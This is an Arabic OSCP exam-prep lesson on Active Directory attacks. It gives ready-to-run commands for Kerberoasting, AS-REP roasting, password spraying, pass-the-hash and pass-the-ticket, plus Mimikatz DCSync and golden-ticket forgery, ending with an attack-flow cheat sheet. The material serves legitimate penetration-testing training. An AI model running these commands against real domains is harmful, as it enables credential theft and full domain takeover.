Active Directory ومحاكاة الاختبار
هجمات Active Directory
5 دقيقة للقراءة
هجمات AD حاسمة لـ OSCP. مجموعة AD يمكن أن تساوي حتى 40 نقطة. أتقن هذه التقنيات لتعظيم درجتك في الاختبار.
Kerberoasting
Kerberoasting يستخرج تذاكر TGS لحسابات الخدمة التي يمكن كسرها بدون اتصال.
كيف يعمل
تدفق Kerberoasting:
1. المستخدم يطلب TGS للخدمة (SPN)
2. DC يُرجع TGS مشفر بتجزئة حساب الخدمة
3. المهاجم يستخرج ويكسر التجزئة بدون اتصال
4. الحصول على وصول كحساب الخدمة
استخدام Impacket (Linux)
# طلب TGS لجميع SPNs
GetUserSPNs.py corp.local/user:password -dc-ip $DC -request
# الإخراج لملف
GetUserSPNs.py corp.local/user:password -dc-ip $DC -request -outputfile hashes.txt
# الكسر بـ hashcat (الوضع 13100)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
استخدام Rubeus (Windows)
# Kerberoast جميع المستخدمين
.\Rubeus.exe kerberoast /outfile:hashes.txt
# استهداف مستخدم محدد
.\Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
# الكسر بـ hashcat
hashcat -m 13100 hashes.txt rockyou.txt
استخدام PowerView
# طلب تذاكر TGS
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt
AS-REP Roasting
يستهدف الحسابات مع تمكين "لا يتطلب مصادقة Kerberos المسبقة".
إيجاد الحسابات الضعيفة
# من Linux - الفحص بدون بيانات اعتماد
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip $DC -format hashcat
# مع بيانات اعتماد - إيجاد جميع الضعفاء
GetNPUsers.py corp.local/user:password -dc-ip $DC -request
من Windows
# استخدام Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt
# استخدام PowerView
Get-DomainUser -PreauthNotRequired
كسر تجزئات AS-REP
# وضع Hashcat 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
رش كلمة المرور
اختبار كلمة مرور واحدة ضد حسابات كثيرة لتجنب القفل.
استخدام CrackMapExec
# رش كلمة مرور واحدة
crackmapexec smb $DC -u users.txt -p 'Password123' --continue-on-success
# فحص الحسابات الصالحة
crackmapexec smb $DC -u users.txt -p 'Summer2024!' --continue-on-success
استخدام Kerbrute
# رش كلمة المرور عبر Kerberos
kerbrute passwordspray -d corp.local --dc $DC users.txt 'Password123'
استراتيجية الرش
نصائح لرش كلمة المرور:
├── تحقق من سياسة كلمة المرور أولاً (عتبة القفل)
├── انتظر بين المحاولات (تجنب القفل)
├── جرب كلمات المرور الموسمية (Summer2024، Winter2024!)
├── جرب تنويعات اسم الشركة
└── جرب أنماط لوحة المفاتيح (Qwerty123!)
تمرير التجزئة (PtH)
استخدام تجزئات NTLM بدون كسرها.
استخدام Impacket
# تنفيذ WMI
wmiexec.py -hashes :NTHASH corp.local/administrator@$TARGET
# PSExec
psexec.py -hashes :NTHASH corp.local/administrator@$TARGET
# SMBExec
smbexec.py -hashes :NTHASH corp.local/administrator@$TARGET
استخدام CrackMapExec
# تنفيذ أمر مع التجزئة
crackmapexec smb $TARGET -u administrator -H NTHASH -x "whoami"
# فحص وصول admin عبر الشبكة
crackmapexec smb $NETWORK/24 -u administrator -H NTHASH
استخدام Evil-WinRM
# الاتصال بالتجزئة
evil-winrm -i $TARGET -u administrator -H NTHASH
تمرير التذكرة (PtT)
استخدام تذاكر Kerberos المسروقة للمصادقة.
تصدير التذاكر (Windows)
# استخدام Rubeus
.\Rubeus.exe dump /nowrap
# استخدام Mimikatz
mimikatz# sekurlsa::tickets /export
استيراد واستخدام التذاكر
# Rubeus تمرير التذكرة
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Mimikatz
mimikatz# kerberos::ptt ticket.kirbi
# التحقق
klist
من Linux
# تحويل صيغة التذكرة
ticketConverter.py ticket.kirbi ticket.ccache
# الاستخدام مع Impacket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass corp.local/user@$TARGET
هجوم DCSync
استخراج تجزئات كلمة المرور مباشرة من وحدة تحكم النطاق (يتطلب DA أو صلاحيات محددة).
استخدام Mimikatz
# تفريغ جميع التجزئات
mimikatz# lsadump::dcsync /domain:corp.local /all /csv
# تفريغ مستخدم محدد
mimikatz# lsadump::dcsync /domain:corp.local /user:administrator
استخدام Impacket
# Secretsdump مع بيانات DA
secretsdump.py corp.local/administrator:password@$DC
# مع التجزئة
secretsdump.py -hashes :NTHASH corp.local/administrator@$DC
هجوم التذكرة الذهبية
تزوير TGT باستخدام تجزئة krbtgt للوصول الدائم للنطاق.
المتطلبات
متطلبات التذكرة الذهبية:
├── تجزئة NTLM لـ krbtgt (من DCSync)
├── SID النطاق
├── اسم النطاق
└── المستخدم للانتحال (عادة Administrator)
إنشاء التذكرة الذهبية
# Mimikatz
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
# من Linux مع ticketer.py
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
# استخدام التذكرة
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@$DC
ورقة غش هجمات AD
| الهجوم | متى تستخدم | الأداة |
|---|---|---|
| Kerberoasting | لديك مستخدم نطاق | GetUserSPNs.py |
| AS-REP Roast | مستخدمون بدون preauth | GetNPUsers.py |
| رش كلمة المرور | أسماء مستخدمين صالحة | CrackMapExec |
| تمرير التجزئة | لديك تجزئة NTLM | wmiexec.py |
| DCSync | لديك صلاحيات DA | secretsdump.py |
| التذكرة الذهبية | لديك تجزئة krbtgt | ticketer.py |
تدفق هجوم AD لـ OSCP
منهجية هجوم AD:
1. استطلاع المستخدمين والمجموعات و SPNs
└── BloodHound، PowerView، ldapsearch
2. Kerberoast/AS-REP Roast
└── كسر التجزئات، الحصول على بيانات الاعتماد
3. رش كلمة المرور إذا لزم
└── CrackMapExec، kerbrute
4. الحركة الجانبية مع بيانات الاعتماد/التجزئات
└── PtH، PtT، evil-winrm
5. التصعيد لمسؤول النطاق
└── DCSync للثبات
6. اختراق وحدة تحكم النطاق
└── التذكرة الذهبية إذا لزم
في الدرس التالي، سنغطي تقنيات الحركة الجانبية للتنقل في بيئة AD. :::